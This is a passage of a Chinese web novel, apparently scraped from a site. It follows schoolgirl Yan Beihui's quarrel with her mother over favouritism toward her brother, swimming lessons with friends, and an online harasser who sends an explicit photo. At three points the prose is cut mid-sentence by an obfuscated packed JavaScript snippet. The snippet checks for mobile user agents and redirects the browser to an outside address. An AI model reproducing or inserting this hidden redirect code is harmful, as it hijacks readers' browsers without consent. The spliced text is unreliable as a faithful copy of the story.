晏北回说：“我跟别人说了收一百，不好变卦。买车的是我的同桌，多亏了她，我的模拟考成绩才能那么好。讲真，要不是她不接受，我都想把车白送给她。” 妈妈不以为然：“你学习好是你努力学，跟别人有什么关系？对了，你爷爷一个人住，家里没个人收拾，刚好你放假了有空，去你爷爷家搞一下卫生。” 又是搞卫生！ 又是指挥她干活！ 晏北回的声音一下子拔高了：“我是古代丫鬟吗？昨天在家搞了一天卫生，今天要去爷爷家搞卫生！明天我是不是得去姥姥家里搞卫生？你那么疼大表哥，把我送去他家当保姆得了！” 若是昨天刚回家那会儿，指不定她会答应去一趟爷爷家。 可是，今天的她不是昨天的她了，她才不要做天天伺候人还没钱拿的苦命丫鬟！ “北回！”妈妈料不到她反应如此激烈，也有了怨气，“卖车的一百块钱给你拿着，你要学游泳给你钱去学了，让你搞个卫生怎么为难你了？你难道不是家里的一份子？不想住在家里可以搬出去！天大地大任你去！” “爷爷家的卫生，爷爷自己不能搞吗？”晏北回十分委屈，“姥姥年纪更大，姥姥不也自己搞卫生！” “那不一样，你爷爷是男人，哪有男人自己搞卫生的？”妈妈说，“你爷爷对你也不差——” “哈！”晏北回怪笑，“对我不差——” 她学着妈妈的话，满肚子尖酸刻薄的怨言：“他过年给我的红包只有十块钱！十块钱！亏他给得出手！我怎么那么蠢？我应该到处说，告诉所有人，我爷爷疼我疼得不得了，给我的新年红包里塞了十块钱，多大方！打发要饭的都不会给这么少！” “红包才十块？”妈妈吃了一惊，仿佛才知道这件事一样，“他给你弟弟的红包，放的可是三百块！” 怀疑晏北回撒谎了，觉得爷爷给她的红包不会只有十块。 “就是十块！”晏北回认为妈妈表现的惊讶很假，对比自己和弟弟的红包，她恍然醒悟，“原来，我家对我也没好到哪里去！你也是个偏心的妈！” 崔皓月的爸妈给弟弟买五百块的球鞋，崔皓月只有二十元的鞋，穿到破才能换新鞋。晏北回当时稀奇得很，到现在，她惊觉自己才是小丑。 毕竟崔皓月一直知道爸妈区别对待，而她被假象蒙骗，以为自己和弟弟是平等的。 平等个鬼！ 她以为妈妈一碗水端平，弟弟有新的羽绒服，她也有新的，甚至更贵。 实际上，妈妈更关心弟弟，知道爷爷给弟弟的红包有多少钱，却不知道她被爷爷苛待。 晏北回的眼泪流下来。 因通话还在进行，她抹去泪水，竭力保持冷静，不想被妈妈小看。 “爷爷不爱我，他疼爱的是弟弟！”晏北回强调道，“既然他那么喜欢弟弟，弟弟放假了让弟弟去他家搞卫生吧！” 挂断了电话，晏北回偷偷看一眼肩膀挨着肩膀说话的好朋友们，躲回景观树后，不想被她们发现自己的狼狈。 但是，凭什么妈妈不关心她，她还要傻傻地替妈妈隐瞒？ 晏北回吸了吸鼻子，有错的明明不是她，凭什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏北回点了点头。 邻居笑了起来：“原来是一中的学生，都是好孩子！我孙女快中考了，要是能考上一中，我做梦都得笑醒。你弟弟也快中考了，能考上一中吗？” 晏北回擦掉脸上的泪，说：“应该能吧？” 对比自己和弟弟在家庭中的待遇，她的话脱口而出：“我从前天天骑车上下学，刮风下雨也要自己去学校上课，妈妈基本不接送我，我都能考进一中。我弟弟上学，妈妈每天辛苦接送他，要是他连一中都考不上，我妈不得气坏了。” 考不上最好，气坏了最好，晏北回暗暗地想。 听出晏北回的怨言，邻居瞧了瞧她，有点同情，却没有说。 邻居道：“上学也不轻松，我怕我孙女走读太辛苦，让她住校了，早上能睡久一会儿。我退休了，没啥事干，周二周四送汤给孙女喝，她说她最喜欢我这奶奶。” 陆晨曦听了便笑：“我如果是你的孙女，我也喜欢你，谁让你最疼她呢？” 邻居只是家庭关系的旁观者，不能帮助晏北回解决家庭矛盾，也不会安慰晏北回。崔皓月猜得出晏北回跟邻居说话的意图，挽住她的手：“走吧，去吃早餐，我饿了。” 到了馄饨店，等待老板上馄饨的时候，晏北回轻声问两位好朋友：“你们会觉得我是爱哭鬼吗？昨天哭了今天又哭，老是要你们安慰，你们有没有厌烦我？” “你哭是因为你委屈。”陆晨曦说，“委屈了就得哭，没什么大不了的。” “哭出来心里会好受一点。”崔皓月分享经验，“不然你会一直委屈，会抑郁。” “我才发现，我妈偏心。”晏北回看着虚空，心神恍惚，“她也重男轻女！她接送弟弟上下学，不接送我，我怎么反应那么迟钝，到现在才意识到她其实更爱弟弟？买羽绒服，她早早就给弟弟买了，生怕弟弟挨冻，我跟她闹，她才在过年给我买羽绒服。” 对此，陆晨曦有话要说：“你之前抱怨你妈偏心，都是嘴上说说，不是真心抱怨吗？” 晏北回低下头，心虚地默认。 崔皓月说：“到现在才意识到也不晚。” 晏北回更安静了。 过了一会儿，晏北回说：“我好像知道晨曦从前为何看不起我，不想跟我玩了，我自己也看不起昨天的我。” 53.坏习惯 “再看不起，那也是你自己。”陆晨曦难得叹气，“没有昨天的你，哪来今天的你？我发现你更自卑，只是你比较外向，看起来性格开朗，自卑也表现得隐晦。你好像觉得你干什么都不行，浑身都是缺点，你……” 思索着，陆晨曦说下去：“你不爱你自己。我说的爱，不是物质上的，而是精神上的。当你审视自我，你看不到自己的优点，对自己的缺点和一些不足之处感到难以接受。人无完人，你却想做完人。” “好吧，我承认你的判断没有错。”晏北回不禁咬住下唇，“我确实自卑，我也不算聪明人，像个傻子那样，被大人玩弄于鼓掌之中。” “你只是习惯听大人的话，认为大人是对的，自己是错误的。”崔皓月补充道，“你不经常思考，即便你意识到环境不好，也没有探究的想法，无法坚定改变环境的决心，你习惯了将就的生活。” “很多人都是这样，所以很多人是庸人。”晏北回叹息。 崔皓月继续说：“还有，你其实很少审视自我，或许你隐约知道自己的缺点，可是你不会进行深入思考。事皆有因，你得琢磨自己为什么是这样的，怎么才能改变。” 对，探究动机是思考的开始。 回想过去，审视现在，她的条理越发清晰：“我认为，人要学会了解自己。从前我不了解我，我没想过我为何是这样的人，没想过我以后要成为怎样的人。现在我也不清楚我喜欢什么，也许我太年轻，对世界的认识太少，体验的事情太少，还没遇到让我热爱的事物。” 以后要做什么呢？ 崔皓月已经知道答案了，她要改变不平等的世界。 只是，宏大的理想如何拆分成一个个清晰的、具体的小目标？ 她需要思考。 “皓月，你就像天上的月亮，闪闪发光！”陆晨曦欣赏地看着好朋友，为她骄傲，被她展露的特质吸引，“我好喜欢你！” “但你是耀眼的太阳。”突然被夸，崔皓月心里美滋滋的，她习惯了陆晨曦的坦率，真诚地赞美这位好朋友，“晨曦，你照亮了我的前路！你是我人生中最重要、最不能缺少的人！” 陆晨曦笑起来：“你的肯定是我的荣幸。” “你们俩别太肉麻！”晏北回左拥陆晨曦，右抱崔皓月，“我们是三人小团队，不要合伙排斥我啊！” “唉，谁让我和皓月相识更早？”陆晨曦跟她演上了，“先来后到，你该明白这道理。” “不准搞怪！”晏北回拧她一把，“安静一点，我在想事情！” 庸人之所以平庸，是因为他们对生活缺乏思考，习惯随波逐流，没什么主动性。 晏北回已经明白自己是这样的人了。 她想起好心遭到辜负，但依然关心着大表哥的妈妈。 之前她只是觉得妈妈有点贱，此时她在想，妈妈对大表哥的关心是真情实感的？还是不经过大脑思考的习惯？ 若是真情实感，她妈妈热脸贴冷屁股，不会觉得自己的尊严被侮辱吗？ 若是习惯…… 想到自己昨天还在跟两位好朋友证明爷爷爱她，晏北回打了个寒战，什么鬼习惯啊！她怀疑自己被洗脑了，才会维护那么坏的爷爷！ 身边的两位好朋友都比她聪明，她连忙请教：“快点教教我！朋友们，我再也不想做个傻瓜了！” “怎么教？”陆晨曦摊手，“你有什么想不开的事？说来听听。” “刚才我挂断了妈妈的电话，她肯定生我的气。”晏北回不甘心一直平庸，她要改变生活，拒绝将就，“我跟她说我不想搞卫生，她要赶我出门！” “说话不能太直白，要委婉一些，别人才会耐心听你说。”陆晨曦传授技巧，“你得靠你爸妈出钱供你上大学，要处好关系。” “我心里委屈……”晏北回扁了扁嘴，“不占理的是我妈，不是我！” “可是你没有经济收入。”崔皓月点出她的弱点，“你妈妈对你是有爱的，你现在跟她道个歉，她应该会消气。” “嗯，先道歉吧。”陆晨曦赞同，“去游泳池的门票钱还指望着你妈妈出呢。” 晏北回噘嘴，老大不乐意。 奈何她没有更好的主意，只得照做。 电话她是不想打的，她在微信上跟妈妈道歉，特地发了几个可爱的[求原谅]表情包。 等了十来分钟，崔皓月和陆晨曦都开始吃第二碗馄饨了，妈妈还是不理会她。 她气鼓鼓地咽下嘴里的馄饨，说：“我妈肯定看到了，她故意晾着我！” “打电话？”崔皓月问。 “不想！”晏北回有自己的傲气，“我非要看看，我妈能装多久！” “微信上你都道歉了，打个电话也不差啥。”陆晨曦说，“道歉态度要坚决，不能做一半留一半，否则别人会觉得你的道歉没有诚意。” “啊！”晏北回气得拍桌子，“我妈好讨厌啊！我都道歉了，她还想让我怎么办？吃完馄饨我再看她回不回复我！” 等待令人失望。 微信上只有晏北回的道歉，她妈妈没有一丁点反应。 晏北回当即便要打电话给妈妈，陆晨曦拉住她：“不要冲动，你是找她道歉的，不能摆出问罪的姿态，质问她为何还不原谅你。” 晏北回抓狂：“好气啊！我妈太刁钻了！” “先去修皓月的车。”陆晨曦挥手，“然后去我家玩游戏，给你妈一点思考的时间。” 车是好的，给轮子充好气体，擦干净灰尘就能骑。崔皓月付了钱，骑上这辆小自行车，又是新奇又是兴奋。 只要一百块钱，她也拥有一辆自己的自行车了！ 便宜！划算！ 把车停在陆晨曦家的宽敞车库，三个好朋友迫不及待地去游戏室玩游戏，到了中午才恋恋不舍地退出游戏，去吃午饭。 来陆晨曦家做客，吃的当然是陆晨曦家的饭，晏北回免于回家，崔皓月免于买菜做饭。 饭后，晏北回放下碗筷，意犹未尽地说：“现在！立刻！回去玩游戏！” 陆晨曦不慌不忙地擦干净嘴，说：“你可以打电话跟你妈道歉了。” 对哦，差点忘了这事。 打开手机晏北回就忍不住生气，都中午了，她妈还是不理会她的道歉，仿佛要跟她冷战到底。 妈妈也会这样对待弟弟吗？晏北回感觉不会。 电话打出去，听到妈妈的声音后，晏北回虽然恼火，表面上却客客气气的：“嗯，中午我不回去。我在同学家吃过饭了，下午我们去游泳池游泳。” 聊了几句家常，发现妈妈丝毫不提微信上的道歉，晏北回有些压不住火气了。 妈妈几十年的人生经历，难道猜不到自己为什么打电话给她？ 装模作样的，真讨厌！ “妈，你应该看了微信吧？”晏北回直说，“对不起！早上我打电话给你的时候很不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706313|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼貌，一时冲动说了气话，我知错了，以后我不会这样跟你顶嘴了。” 想想游泳池的门票，再想想大学的学费，她变得心平气和。 听到她道歉，妈妈的语气温柔了许多：“知错就好，妈妈天天上班赚钱，为的还不是你们姐弟？你在同学家，没给同学惹麻烦吧？” 女儿竟然会道歉！ 这表现不寻常，妈妈疑心女儿捅了大篓子，需要自己这个当妈的出面替她解决，才会这样低声下气。 身为熟悉妈妈的女儿，晏北回岂会不知道妈妈在想什么？没好气地道：“没惹事！我的好朋友建议我向你道歉，我觉得有道理，听了劝。” 原来如此，妈妈放了一半心，仍不信任女儿：“你真的没闯祸？” “没有！”晏北回不耐烦。 “那你同学还挺好，能劝你做个好孩子。”妈妈说，“我是你妈妈，管不了你爷爷给你发多少钱的红包，你也不跟我说，我还以为你拿的钱跟你弟弟一样。” “现在你知道了。”你要补偿我吗？晏北回怀着些许期待。 “你爷爷老了，糊涂了。”妈妈叹了一声，“他对你是不太好。你小时候，我有事回娘家，让你爷爷照顾你。可他愣是把你忘了，要不是我打电话，问他有没有喂你吃饭，他连你发烧了都不知道。” “他立刻送我去医院看病？”妈妈主动说起当年的事情，晏北回乐得不用想怎么问。 “怎么会！”妈妈很生气地说，“你都病得那样严重了，你爷爷也不急，觉得你捂一下出了汗就会好。我可害怕了，三催四请，他才肯送你去医院看病。唉，幸亏我惦记着你，不然……” 那后果太严重，妈妈不敢想下去。 得知事情的真相，晏北回非常失望，却不意外。 爷爷就是这样的一个人，丝毫不爱她。 让她更失望的是妈妈，她不解：“爷爷害得我差点烧成傻子，对我一点都不好，你为什么总是跟我说爷爷对我好？” 妈妈回答：“毕竟他是长辈，要尊重。我跟你爸爸吵过，你爸爸不怨你爷爷，反而怨我没有照顾好你，把我气得当场就要跟你爸离婚。” 真想离婚早就离了，能相处到现在？晏北回想起陆晨曦早上说自己的话，妈妈说离婚估计也是随口说说，不是真心想离婚。 身为妈妈养大的女儿，她学了妈妈的坏习惯。 不过，她有两位好朋友，能指出坏习惯，妈妈呢？谁会指出妈妈的错？ 想到这里，晏北回愣了一下。 爸爸有朋友，偶尔不回家，跟朋友在外面聚餐，跟朋友去钓鱼。 妈妈只和亲戚聚餐，好像没有什么互相往来的朋友。 电话那头的妈妈在说话：“你爷爷不会带孩子，让他送你去看病，他还是照做的，对你虽然不好，也不算太差。你不要怨他，他再不好也是你爸的爸爸，是你的长辈……” 妈妈在维护爷爷。 明知爷爷不好，还要她对爷爷好。 这是真心实意的还是不经大脑思考的习惯？ 晏北回懒得分辨，懒得听妈妈啰嗦：“同学叫我洗碗，妈，我挂了，拜拜！” 朋友是相处出来的。 妈妈没朋友，是因为妈妈不想交朋友，哪里轮得到她来操心？ 把手机放回口袋，晏北回去游戏室找两位好朋友，游戏她还没有玩够呢。 跟朋友玩游戏，可比一个人玩开心多了！ 54.优秀的她 时间在玩游戏时过得特别快，不一会儿便到了去学游泳的时间。三人不得不暂时告别游戏，踩着自行车出门。 今天的气氛似乎比昨天紧张一些，游泳池楼下的酒店里，巡逻的保安多了一倍。 陆晨曦三人刚到楼下，游泳池的工作人员就迎上来，一脸歉意地对她们说：“对不起，我们已经开除那位犯下大错的男员工！” 崔皓月和晏北回二脸茫然。 游泳池干嘛道歉？ 遭到冒犯的是女性教练，不是她们。 陆晨曦倒是从容，很有领导风范地点点头：“我知道了。那位女教练呢？” “我们非常同情她，给了她带薪假期，让她休息几天，希望她养好精神再来上班。”工作人员殷勤地引着三人进电梯，“但她今天没有休息，来上班了，她想当面感谢你们。我们也很感激你们！多亏三位年轻女士见义勇为，及时阻止恶行，否则我们的员工会受到伤害！” “这件事你们处理得还可以。”陆晨曦评价道，“你们游泳池招了罪犯男员工，犯错太严重了！我建议你们好好排查剩下的男员工，免得又惹麻烦。” “好的，谢谢您的建议，我们会按照您的吩咐做。”工作人员恭顺地说。 她将三人送到女性更衣室门口，方离开。 估摸她走远了，晏北回小声地跟两位好朋友吐槽道：“陆晨曦像个高贵的大小姐，我和皓月都是大小姐的跟班。啧，晨曦，你刚才好威风！” 陆晨曦微笑：“酒店是我家的，游泳池不是，你明白了吗？” 晏北回顿时气恼：“可恶，又让你这有钱人装到了！” 随后，她嘀咕：“游泳池没有免除我们的门票，有点吝啬哎，感谢只有一两句话吗？太没诚意了。” 崔皓月赞同：“确实吝啬。” 虽然学游泳的花费有系统为她支付，可系统的钱也是钱，能省则省。 “人家游泳池也是要赚钱的。”陆晨曦从柜子里取出自己的泳衣，“该换衣服了。” 崔皓月带着泳衣进更衣室，昨晚的特殊事件已经结束，她领取了300积分。可是类似的事还会发生，选项三希望她给出更好的解决方法。 得怎么做才能防止类似事件发生？才能拯救更多遇到同样危险的女性？是立志成为忠于职守的警察女士，还是从别的方面着手？ 一人计短，二人计长。 换好泳装出来，崔皓月询问两位好朋友。 晏北回认真地思考，说：“我要跟你学武功！只要我会打架，遇到坏人我一拳揍晕他，看他怎么欺负我！” 陆晨曦考虑得更全面：“加强社会的治安，宣传罪犯的下场警告潜在罪犯，提醒潜在受害者加强警惕，感觉就这几件事能做。习武需要毅力和钱，现代人习惯使用工具防备危险，像辣椒水，能让人暂时失去行动力。不过，每次出门都随身携带辣椒水也挺麻烦，还是学几招比较好。” “是哦！”崔皓月眼前一亮，“我可以发视频教别人对付歹徒！” 晏北回支持：“这个好！但我觉得做警察更好！如果昨天晚上来的不是警察阿姨，那个男罪犯估计被批评教育一下就放了，说不定还要报复我们呢！” “所以你下定决心报考警校？”陆晨曦关心好朋友的志愿。 “我还没想好。”晏北回昨天晚上了解了当警察的方式，“我担心我报考警校，毕业后当不上警察。” “瞧瞧你，还没毕业就操心找不到工作。”陆晨曦拍了拍她的肩膀，语重心长地说，“能不能不要那么小看自己？皓月现在越来越自信，你得多跟她学学，不然你时不时冒出一句贬低自己的话，我真受不了！” 晏北回：“……” 晏北回委屈：“我也不想！这样吧，每次我贬低我，你立刻指出，我肯定能改！俗话说，江山易改，禀性难移。我习惯是这样的，我能怎么办？我也很绝望的好不好！” 陆晨曦盯她：“习惯要靠自己改，我不能时时刻刻盯着你，你自信一点，遇到什么事都要相信自己做得到！” “不要觉得事情很难，有些你觉得很难的事情，只要你愿意做，你会发现它很简单。”崔皓月传授经验，“今天的你，比昨天更优秀！” “还是你温柔！”晏北回亲昵地贴着崔皓月，“我爱你！你永远是我最好的朋友！” 半个游泳池沐浴阳光的照耀下，金灿灿，亮堂堂的。 三人正打算做热身运动，那位遭遇变故依然坚持上班的教练过来感谢她们，经理也跟着过来了。 教练脸上仍有痕迹，神色却是畅快的，并不压抑。 毕竟，她在昨天晚上狠狠教训了冒犯她的人，警方同情她，给予罪犯应有的严惩，她昨晚睡得很安心。 尤其是得知游泳池开除那个男人后，她的心情更舒适了。 路人很好，警方很好。 公司很好，她很好！ “昨晚多谢你们救我！”教练真心感谢三个大女孩，“我也没什么能报答你们的，你们好像在学游泳，我愿意无偿教你们！” “多谢你们救了我们的优秀员工！”经理说，“为了表达谢意，只要游泳池还在营业，三位年轻女士随时能来游泳，我们不会收取任何费用！” “哇！太好了！”晏北回立刻高兴起来，厚着脸皮问，“刚才我付的门票钱能退吗？” “非常抱歉！售票员还不清楚你们的身份，为你们造成了困扰！”经理递上门票钱和一张迪丽舍餐厅的五百元代金券，“请见谅！” 经理表现得这么客气，为的是陆晨曦吧？晏北回看向身边的好朋友。 陆晨曦也在看她，挑了挑眉。 晏北回立刻受到了鼓励，上前接过钱和代金券，笑着说：“你们还挺大方的。” 经理是一位中年女性，闻言笑了：“多谢晏女士的肯定。” 第一次被人当面称作晏女士，晏北回脸红了，不知如何应付。她把门票钱递给两位好朋友，悄悄地观察她们的反应。 大小姐陆晨曦跟平时没有什么不同。 崔皓月看着有些心不在焉，似乎沉浸在自己的世界里，丝毫不关心外界的反应。 “晨曦。”晏北回问，“我们跟教练学游泳？” “瞧不起我的教学水平？”陆晨曦反问。 “不是啦，人家是职业的教练，跟你不一样。”晏北回说，“我觉得，我们不应该拒绝她的好意。” “那就让她做个参考老师。”陆晨曦对教学事业充满了热忱，“也没啥事了，继续学游泳！皓月别走神了，你昨天学了多少？现在能下水游泳了吗？” “还不清楚。”崔皓月舒展四肢，用习武姿势代替了热身运动，“你们学我这个吧，我这个热身效果更好。” 两位好朋友没意见。 于是，崔皓月成为教练，纠正两人的姿势，教她们正确地做出动作。 做了四五个动作，她们结束热身，可以下水游泳了。 回想昨天学到的知识，崔皓月在水里游了十来米，又游了回来，虽然不慎呛了一次水，咳得不轻，但她感觉游泳是很好掌握的技能，跟学习骑自行车差不多。 “好家伙！”陆晨曦和晏北回异口同声，“你还真一学就会！” “只是会游泳，我不太熟练。”轻松学会游泳，崔皓月难免得意，“晨曦，你还得教我怎么游泳更快，怎么游泳更省体力。” “不急，你俩先把我教会。”晏北回喊道，“今天我必须自己游出十多米又游回来！” 日光渐渐西斜，三位好朋友在水里扑腾了许久，体力消耗了不少，终于舍得上岸歇息。崔皓月去买水，晏北回和陆晨曦坐在岸边等她回来，脱下游泳帽让头皮透气。 晏北回拿起手机，想找点消遣。 可她身边坐着陆晨曦，她更想跟陆晨曦说话，或者一起发呆，尽管有些无聊。 陆晨曦双手撑地面，望向游泳池入口的人，忽然开口：“北回，你注意到了吗？” “嗯？” “昨天你穿了泳衣出来，躲在我身后，害怕被别人关注。”陆晨曦转头看晏北回，眼睛亮亮的，“可是今天，你一点都不害怕哎！” 不说还好，她说了，晏北回当即局促不安起来，四处乱看。 陆晨曦忍不住笑。 晏北回看她笑，不由得跟着她笑，又有些恼：“你干嘛笑啊！我昨天第一次穿泳衣呢！” 陆晨曦说：“想笑就笑了，你比昨天优秀，你很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720758|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优秀。” 这是优秀好朋友给予的肯定！ 晏北回骄傲地挺胸，眼睛不知为何有点酸。 她擦了擦眼角，昂起头，笑道：“你讲话怪动听的，多讲几句，朕爱听。” 拿着两罐可乐和一盒菊花茶，崔皓月回来了，可乐给朋友，她喝甜滋滋的菊花茶。 “晚上吃啥？”晏北回问，“用代金券去迪丽舍西餐厅吃一顿好的？” “昨天吃了西餐，今天不是很想吃。”陆晨曦喜欢新鲜，“要不，咱们吃火锅？麻辣烫也可以，但是麻辣烫我感觉很贵，一串素菜都要两块五，有点离谱。” “便宜的你怎么不吃？”晏北回撇嘴，“跟我来，我带你俩吃便宜麻辣烫！” 她们坐公交车去吃便宜的麻辣烫，再坐公交车回游泳池，继续学游泳，临近十点才骑着自行车各回各家。 第二天，三个好朋友用了一个上午的时间陪同晏北回的大姑去改名，早餐和午餐都是大姑掏钱请客，味道居然不错。 被起名来娣的大姑已经改名晏河清，崔皓月惦记着慕娣，在群里问她：“你想好要改什么名了吗？” 慕娣反应平淡：“没想好，过几天再想吧。” 接着，慕娣退群了。 群里只剩下崔皓月和徐凌波，她问徐凌波：“她怎么回事？” 徐凌波过了半小时才回复：“发现老公出轨了，心情不好吧？昨天她还跟我说，她要跟老公姓，名字都想好了。结果她找东西时找到她老公藏的招伎广告，接着又看到她老公跟网友聊骚，总之就是挺惨的。” 结婚还不到两年就出轨？ 崔皓月无言以对。 徐凌波说：“我在想，男人到底是个啥玩意，慕娣那么爱她老公，她老公爱她吗？女人好像更恋爱脑，男的似乎不重视爱情，对婚姻的态度也轻浮。老婆孩子都生了，他还搁网上跟别人聊骚，连聊天记录都懒得删，就不怕老婆跟他离婚？” 崔皓月好奇：“慕娣会离婚吗？” 徐凌波：“不知道，她都生孩子了，想离也不容易。当初我就劝过她，别那么早结婚，别那么早生孩子，她愣是不听！现在可好了，她后悔，她爸妈劝她忍耐。我感觉她不会离婚，她没学历，也没钱，还带着孩子，离婚后怎么生活？” 看出徐凌波不太瞧得上慕娣，崔皓月说：“她很年轻，她的人生才刚刚开始。” 徐凌波：“我不看好她。”问小伙伴，“你放假了在干嘛？我好无聊。” 崔皓月如实说：“学游泳。” 徐凌波羡慕：“你过得挺充实，我要是能和你一起玩就好了。” 村里只有小溪流，没有河，她也不会游泳。 清晨，崔皓月晨跑完，去菜市场买菜。提着食材回家时，她在小区门口遇到一个意想不到的人——慕娣。 对方穿着宽松的孕妇裙，眼圈发红，神色憔悴，也提着大包小包的食材。只是她摔了一跤，东西掉了一地，正在捡。 有个番茄滚到崔皓月脚边，崔皓月捡起番茄递给她，她说了谢谢，抬起头便见到崔皓月的脸，不禁愣在当场。 “是我，现在我改名崔皓月。”崔皓月蹲下来帮她捡东西，“不要叫我婷婷，我很讨厌别人这样叫我。” 慕娣默默地接受帮助。 “我的好朋友，她的大姑叫来娣，昨天我们陪她去改名。”崔皓月看着低头不语的慕娣，“改名很容易，你想改，那便能改。” 收拾完东西，崔皓月也没跟慕娣道别，转身离开。 她还没有吃早餐呢！待会儿到家了要自己做。 慕娣望着她远去，心情复杂。 如果自己也读高中，没有早早结婚生孩子，今天她们的见面是不是不会这么难堪？ 崔皓月看起来过得很好。 或许她的衣着打扮不光鲜，可她的精神面貌积极向上，有种朝气蓬勃的少年感，令人羡慕。慕娣相信她肯定不是那种当小三的女人，开始理解徐凌波为何与她来往，因为她也想接近现在的崔皓月。 “婷……”想起崔皓月改了名，慕娣及时改口，朝她大声喊道，“皓月，别走，等等我！” 慕娣追了上去：“你……我想让你和凌波帮我起个新名字！” 55.愤怒之火 用去一周时间，崔皓月和晏北回完全掌握游泳这项技能。无论是教她俩的陆晨曦，还是靠着教游泳赚钱的教练姐姐，都认为她们出师了。 于是，为庆祝技能学成，她们邀请教练姐姐去乡镇玩。上午爬山看风景，下午四人挑了一处流速平缓的河段，一起从河这岸横渡到河对岸，再从对岸游回来。 经过乡镇的河很宽，河水看起来挺干净。 这岸是河堤和卵石滩，对岸长着茂盛的野草，有一头黄牛正在慢悠悠地吃草。稍高的地方分布着农田，再远处是零星几座民居，能看到干活的人影。 六月中旬的河水依然有些冷，为了防止女孩们游泳时发生抽筋之类的意外，教练姐姐特地带了救生衣，每个人都要穿。 游完泳，四人在卵石滩上野餐，还搞了烧烤。 不得不说，在野外搞烧烤，比去店里吃烧烤有意思。 但是野外烧烤要自己准备食材和烧烤工具，烧烤中产生的垃圾得收拾，不能丢在野外污染环境，还要确保明火完全熄灭，整体上还是有些麻烦的。 陆晨曦带了相机，把今天的快乐完整地记录下来。 离开的时候，晏北回问：“咱们这算是旅游吗？” 崔皓月不了解旅游的概念，看向陆晨曦。 “怎么不算？”陆晨曦看着相机里她们一起烧烤的照片，笑着说，“虽然旅游的地点很近，可我们专程来玩，玩了一天，当然是旅游！我们玩得很尽兴！” “这里离家太近了，我没有旅游的新奇感，我想去远一点的，从前没去过的地方，体验没体验过的事情。”晏北回挨近了看照片，“还是你会拍照啊，快发几张好看的照片给我，我要炫耀！” 她非常喜欢在网上分享生活，吸引了一些爱看她分享的关注者。 崔皓月难以理解这种有可能泄露隐私的爱好，晏北回解释：“其实也没几个人关注我的账号，我的分享更像是用网络记录生活中的美好片段，跟写日记差不多。尽管放心，我肯定会给你们打码，我自己也会打码。” 这时，她的手机颤动了一下，有新消息。 晏北回点开看了，手指在手机上滑动，脸色变得阴沉。 “怎么？”崔皓月问她。 “给你看。”晏北回把手机递过来。 只见刚分享的照片下出现一条评论—— “这不是我家附近的河滩吗？美女你身材真好，[爱心][色色]我在家里，我们想认识你，想跟你约会！给你发私信了！[期待][流口水]” 晏北回打开这个人发来的私信，竟然是一张恶心无比的男性生殖/器官照片。 崔皓月：“……” 崔皓月觉得辣眼睛，移开了视线：“这么丑的东西，他怎么好意思发给你看的？” “什么丑东西？”陆晨曦连忙凑过头，在看到私信的同时叫了一声，“我的妈呀，救大命！我的眼睛和心灵受到了伤害！你们怎么不预警一下，害我看到这种脏东西！” “看到啥了？”教练姐姐也想知道。 “有个丑八怪男发了他的裸/照给北回，把我恶心坏了。”陆晨曦皱着眉头，“网络就是这点不好，什么牛魔都有。” “这样啊，给我看看吧。”教练姐姐看完了并不意外，“我教你们收拾他。” “骂他短小丑陋？”晏北回也是高强度上网人士，知道怎么攻击男性。 “骂不骂都行，但是必须给他看一张动图。”教练姐姐打开乐自己的手机相册，“看到了吗？丑玩意，一剪没！我特地保存的，专门对付这种私信丑照的脏东西！” “哇！这张图绝了！”晏北回双眼发亮，“传给我，快，我要立刻用它回复私信！” “我也要这张图！”陆晨曦说，“我给那个脏东西发私信，狠狠骂他！” “皓月要图吗？”教练姐姐发了图片给她们，看向崔皓月，“有备无患，以后你没准会用到这张图。” “要的。”崔皓月也想给猥琐男私信动图，她出神是因为她在想，除了发一剪没的血腥动图报复猥琐男，还有没有更好的办法教训他，她想让他再也不敢做类似的事恶心女网友。 办法肯定有，比如，向网络平台举报他性/骚扰，让网络平台封禁他的账号。 只是，封禁他的这个账号，他还能用别的账号作恶。 不管怎样，先报复他吧。 崔皓月私信了动图给猥琐男。 他很快回复：“你变态啊！发这种血腥动图！恶不恶心！” 崔皓月说：“没你恶心。”这句话没能发出去，因为猥琐男已经拉黑她了。 陆晨曦不仅发动图，还给出刻薄的评价，猥琐男连回复她的勇气都没有，闷声不响地拉黑她。 晏北回和教练姐姐也先后被拉黑，一剪没的超绝动图确实把猥琐男给整破防了。 他在他的主页说：“被一群人发鬼图，我真衰！” 大家都笑起来，一起向平台举报他发裸/照骚扰晏北回。 但她们还没回到市区，网络平台便驳回举报，认为她们提交的证据尚不足以让平台封禁他的账号。 “可恶！”晏北回气冲冲，拳头用力捏紧，“审核员肯定是男的！不行，我要上诉！” “上诉了估计也是驳回。”陆晨曦冷静地分析，“既然网络平台不处理他，那我们把他的行为公之于众，让他的亲朋好友重新认识一下他。” 晏北回愤然编辑内容，她公开猥琐男的恶心行为，将网络平台的偏袒处理也发出来，号召女性网友们加入举报猥琐男的队伍。 这条内容被崔皓月、陆晨曦、教练姐姐转发，不多时便引起一些关注。 然而，她们才回到市区，这条内容就被网络平台删除了—— 猥琐男向网络平台举报她们侵犯他的隐私。 审核员通过举报，并禁言晏北回。 